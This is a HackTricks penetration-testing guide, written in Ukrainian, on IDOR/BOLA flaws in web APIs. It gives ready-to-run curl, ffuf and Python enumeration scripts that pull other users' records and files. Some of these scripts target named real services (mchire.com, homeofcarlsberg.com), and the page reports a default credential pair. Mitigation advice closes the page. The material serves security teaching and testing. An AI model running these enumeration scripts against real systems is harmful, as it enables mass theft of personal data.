IDOR (Insecure Direct Object Reference)

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з’являється, коли веб- або API endpoint розкриває або приймає керований користувачем ідентифікатор, який використовується безпосередньо для доступу до внутрішнього об’єкта без перевірки, чи має викликач право на доступ/зміну цього об’єкта. Успішна експлуатація зазвичай дозволяє горизонтальну або вертикальну privilege-escalation, наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний account takeover або mass-data exfiltration.

1. Виявлення потенційних IDORs

  1. Шукайте параметри, що посилаються на об’єкт:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Віддавайте перевагу endpoints, які читають або оновлюють дані (GET, PUT, PATCH, DELETE).
  2. Зверніть увагу, коли ідентифікатори послідовні або передбачувані – якщо ваш ID 64185742, то 64185741 ймовірно існує.
  3. Досліджуйте приховані або альтернативні потоки (наприклад “Paradox team members” посилання на сторінках входу), які можуть підсилати додаткові API.
  4. Використовуйте аутентифіковану сесію з низькими привілеями і змінюйте лише ID, зберігаючи той самий token/cookie. Відсутність помилки авторизації зазвичай є ознакою IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Автоматизована енумерація (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Перебір передбачуваних ID завантаження (ffuf)

Автентифіковані панелі хостингу файлів часто зберігають метадані для кожного користувача в одній таблиці files і надають endpoint для завантаження, наприклад /download.php?id=<int>. Якщо обробник лише перевіряє, чи існує ID (а не чи належить він автентифікованому користувачу), ви можете перебрати простір цілих чисел з дійсною cookie сесією та вкрасти резервні копії/конфігурації інших користувачів:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr видаляє 404-style шаблони, тож залишаються лише справжні hits (наприклад, IDs 54/150 leaking повні резервні копії сайту та матеріали для підписування).
  • Той самий FFUF workflow працює з Burp Intruder або curl loop — просто переконайтеся, що залишаєтеся авторизованими під час інкрементування IDs.

Аутентифікована комбінаторна енумерація (ffuf + jq)

Деякі IDORs приймають multiple object IDs (наприклад, треди чатів між двома користувачами). Якщо додаток лише перевіряє, що ви увійшли в систему, ви можете fuzz обидва IDs, зберігаючи свій session cookie:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Потім постобробіть JSON output за допомогою jq, щоб видалити симетричні дублікати (A,B) vs (B,A) і зберегти лише унікальні пари:

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Оракул помилок для виявлення користувачів/файлів

Коли endpoint для завантаження приймає і username, і filename (наприклад /view.php?username=<u>&file=<f>), тонкі відмінності в повідомленнях про помилку часто створюють оракул:

  • Неіснуюче ім’я користувача → “User not found”
  • Неправильне ім’я файлу, але дійсне розширення → “File does not exist” (інколи також перераховує доступні файли)
  • Неправильне розширення → помилка валідації

За будь-якої аутентифікованої сесії ви можете fuzz параметр username, залишивши безпечне ім’я файлу, і відфільтрувати за рядком “User not found”, щоб виявити дійсних користувачів:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Після визначення дійсних імен користувачів безпосередньо запитуйте конкретні файли (наприклад, /view.php?username=amanda&file=privacy.odt). Такий підхід часто призводить до несанкціонованого розкриття документів інших користувачів та credential leakage.

2. Реальний кейс – McHire Chatbot Platform (2025)

Під час оцінки рекрутингового порталу McHire, який працює на Paradox.ai, було виявлено наступний IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: user session cookie for будь-якого тестового облікового запису ресторану
  • Body parameter: {"lead_id": N} – 8-значний, послідовний числовий ідентифікатор

Зменшуючи значення lead_id, тестер отримав довільні дані заявників — full PII (ім’я, електронна пошта, телефон, адреса, уподобання щодо змін), а також користувацький JWT, який дозволив перехоплення сесії. Перебір діапазону 1 – 64,185,742 виявив приблизно 64 мільйони записів.

Запит Proof-of-Concept:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.

Кейс — QR-коди браслетів як слабкі bearer tokens (2025–2026)

Flow: Відвідувачі виставки отримували браслети з QR-кодами; сканування https://homeofcarlsberg.com/memories/ дозволяло браузеру взяти printed wristband ID, закодувати його в hex та викликати бекенд на cloudfunctions.net для отримання збережених медіа (фото/відео + імена). Не було no session binding або аутентифікації користувача — знання ID = авторизація.

Predictability: Ідентифікатори браслетів мали короткий шаблон, наприклад C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Обсяг простору ключів оцінили приблизно в ~26M комбінацій, що тривіально перебрати онлайн.

Exploitation workflow with Burp Intruder:

  1. Payload generation: Згенеруйте кандидатські ID (наприклад, [A-Z]-###-###). Використовуйте Burp Intruder Pitchfork або Cluster Bomb атаку з позиціями для букви та цифр. Додайте payload processing rule → Add prefix/suffix → payload encoding: ASCII hex, щоб кожен запит відправляв hex-рядок, який очікує бекенд.
  2. Response grep: Налаштуйте в Intruder grep-match на маркери, що присутні лише у валідних відповідях (наприклад, media URLs/JSON fields). Невалідні ID зазвичай повертали порожній масив/404.
  3. Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). При такій швидкості весь keyspace (~26M) можна було б перебрати за ~52 години. Прикладний прогін вже викрив ~500 валідних браслетів (відео + повні імена).
  4. Rate-limiting verification: Після того як постачальник заявив про throttling, повторно запустили ту ж конфігурацію Intruder. Ідентична пропускна здатність/відсоток влучань довела, що контроль відсутній/неефективний; перелік продовжився без перешкод.

Quick scriptable variant (client-side hex encoding):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Урок: Кодування (ASCII→hex/Base64) не додає ентропії; короткі ID стають bearer tokens, які можна перерахувати незважаючи на косметичне кодування. Без per-user authorization + high-entropy секретів, media/PII можуть бути зібрані масово навіть якщо заявлено “rate limiting”.

3. Наслідки IDOR / BOLA

  • Горизонтальне підвищення привілеїв – читання/оновлення/видалення даних інших користувачів.
  • Вертикальне підвищення привілеїв – користувач з низькими правами отримує admin-only функціональність.
  • Масове викриття даних, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
  • Захоплення акаунта шляхом крадіжки tokens або скидання паролів інших користувачів.

4. Міри пом’якшення та найкращі практики

  1. Застосовуйте авторизацію на рівні об’єкта на кожному запиті (user_id == session.user).
  2. Віддавайте перевагу непрямим, невгадуваним ідентифікаторам (UUIDv4, ULID) замість auto-increment IDs.
  3. Виконуйте авторизацію на сервері, ніколи не покладайтеся на приховані поля форм або UI-контролі.
  4. Реалізуйте RBAC / ABAC перевірки в центральному middleware.
  5. Додайте rate-limiting & logging для виявлення перебору ID.
  6. Тестуйте безпеку кожного нового endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks